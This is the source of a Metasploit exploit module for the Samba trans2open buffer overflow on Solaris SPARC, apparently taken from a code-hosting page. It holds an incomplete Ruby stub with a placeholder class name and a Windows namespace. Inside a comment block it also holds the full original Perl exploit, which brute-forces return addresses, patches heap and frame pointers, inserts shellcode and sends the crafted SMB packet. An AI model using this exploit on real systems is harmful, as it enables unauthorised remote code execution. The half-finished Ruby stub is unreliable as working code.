323 lines
8.1 KiB
Ruby
323 lines
8.1 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba trans2open Overflow (Solaris SPARC)',
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'Description' => %q{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the flaw on Solaris SPARC systems that do not
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have the noexec stack option set. Big thanks to MC and
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valsmith for resolving a problem with the beta version of
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this module.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '4469'],
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[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
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[ 'MIL', '55'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'solaris',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'Apr 7 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::samba_trans2open_solsparc;
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use base "Msf::Exploit";
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use strict;
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use Pex::Text;
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use Pex::SMB;
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use IO::Socket;
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my $advanced = { };
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my $info =
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{
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'Name' => 'Samba trans2open Overflow (Solaris SPARC)',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
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'Arch' => [ 'sparc' ],
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'OS' => [ 'solaris' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The samba port', 139],
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'SRET', => [0, 'DATA', 'Use specified return address'],
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'DEBUG' => [0, 'BOOL', 'Enable debugging mode'],
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'MinNops' => 512,
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'Keys' => ['+findsock'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This exploits the buffer overflow found in Samba versions
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2.2.0 to 2.2.8. This particular module is capable of
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exploiting the flaw on Solaris SPARC systems that do not
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have the noexec stack option set. Big thanks to MC and
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valsmith for resolving a problem with the beta version
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of this module.
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}),
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'Refs' =>
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[
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['OSVDB', '4469'],
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['URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
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['MIL', '55'],
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],
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'Targets' =>
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[
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["Samba 2.2.x Solaris 9 (sun4u) ", 0xffbffaf0, 0xffbfa000, 128, 0xffbffffc],
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["Samba 2.2.x Solaris 7/8 (sun4u) ", 0xffbefaf0, 0xffbea000, 128, 0xffbefffc],
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],
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'Keys' => ['samba'],
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'DisclosureDate' => 'Apr 7 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Check {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ($s->IsError) {
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$self->PrintLine("[*] Error creating socket: " . $s->GetError);
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return $self->CheckCode('Connect');
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}
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my $x = Pex::SMB->new({ 'Socket' => $s });
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$x->SMBNegotiate();
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if ($x->Error) {
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$self->PrintLine("[*] Error negotiating protocol");
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return $self->CheckCode('Generic');
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}
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$x->SMBSessionSetup();
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if ($x->Error) {
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$self->PrintLine("[*] Error setting up session");
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return $self->CheckCode('Generic');
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}
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my $version = $x->PeerNativeLM();
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$s->Close;
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if (! $version) {
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$self->PrintLine("[*] Could not determine the remote Samba version");
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return $self->CheckCode('Generic');
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}
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$self->PrintDebugLine(1, 'LanMan: '.$version);
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$self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
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if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-7]|2\.2\.8$)/i) {
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$self->PrintLine("[*] Target seems to running vulnerable version: $version");
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return $self->CheckCode('Appears');
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}
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$self->PrintLine("[*] Target does not seem to be vulnerable: $version");
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return $self->CheckCode('Safe');
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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$self->PrintLine("[*] Starting bruteforce mode for target ".$target->[0]);
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if ($self->GetVar('SRET')) {
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my $ret = eval($self->GetVar('SRET')) + 0;
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$target->[1] = $target->[2] = $ret;
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}
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my $curr_ret;
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for (
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$curr_ret = $target->[1];
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$curr_ret >= $target->[2];
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$curr_ret -= $target->[3]
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)
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{
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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my $x = Pex::SMB->new({ 'Socket' => $s });
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$x->SMBNegotiate();
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if ($x->Error) {
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$self->PrintLine("[*] Error negotiating protocol");
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return;
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}
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$x->SMBSessionSetup();
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if ($x->Error) {
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$self->PrintLine("[*] Error setting up session");
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return;
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}
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$x->SMBTConnect("\\\\127.0.0.1\\IPC\$");
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if ($x->Error) {
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$self->PrintLine("[*] Error connecting to IPC");
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return;
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}
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##
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# The obstacle course:
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# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
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# smb_dump(smb_fn_name(type), 0, outbuf, outsize);
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# return(outsize);
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##
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# This value *must* be 1988 to allow findrecv shellcode to work
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my $pattern = Pex::Text::EnglishText(1988);
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##
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# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
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#
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# Patch the overwritten heap pointers
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# substr($pattern, 1159, 4, pack('N', $target->[4]));
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# substr($pattern, 1163, 4, pack('N', $target->[4]));
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#
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# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
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# substr($pattern, 1195, 4, pack('N', 0xffffffff));
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#
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# Fix the frame pointer (need to check for null in address)
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# substr($pattern, 1243, 4, pack('N', $target->[3]-64));
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#
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# Finally set the return address
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# substr($pattern, 1247, 4, pack('N', $curr_ret));
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##
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##
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# This method is more reliable against a wider range of targets
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##
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# Local variable pointer patches for early versions of 2.2.x
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substr($pattern, 1103, 36, pack('N', $target->[4] - 1024) x 9);
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# Overwrite heap pointers with a ptr to NULL at the top of the stack
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substr($pattern, 1139, 40, pack('N', $target->[4]) x 10);
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# Patch the type index into the smb_messages[] array...
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# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
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substr($pattern, 1179, 20, pack('N', 0xffffffff) x 5);
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# This stream covers the framepointer and the return address
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substr($pattern, 1199, 400, pack('N', $curr_ret) x 100);
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# Stuff the shellcode into the request
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substr($pattern, 3, length($shellcode), $shellcode);
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my $Trans =
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"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
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"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90";
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my $Overflow = $Trans . $pattern;
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$self->PrintLine(sprintf("[*] Trying return address 0x%.8x...", $curr_ret, length($Overflow)));
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if ($self->GetVar('DEBUG'))
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{
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print STDERR "[*] Press enter to send overflow string...\n";
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<STDIN>;
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}
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$s->Send($Overflow);
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# handle client side of shellcode
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$self->Handler($s->Socket);
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$s->Close();
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undef($s);
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}
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}
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1;
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=end
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end
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end
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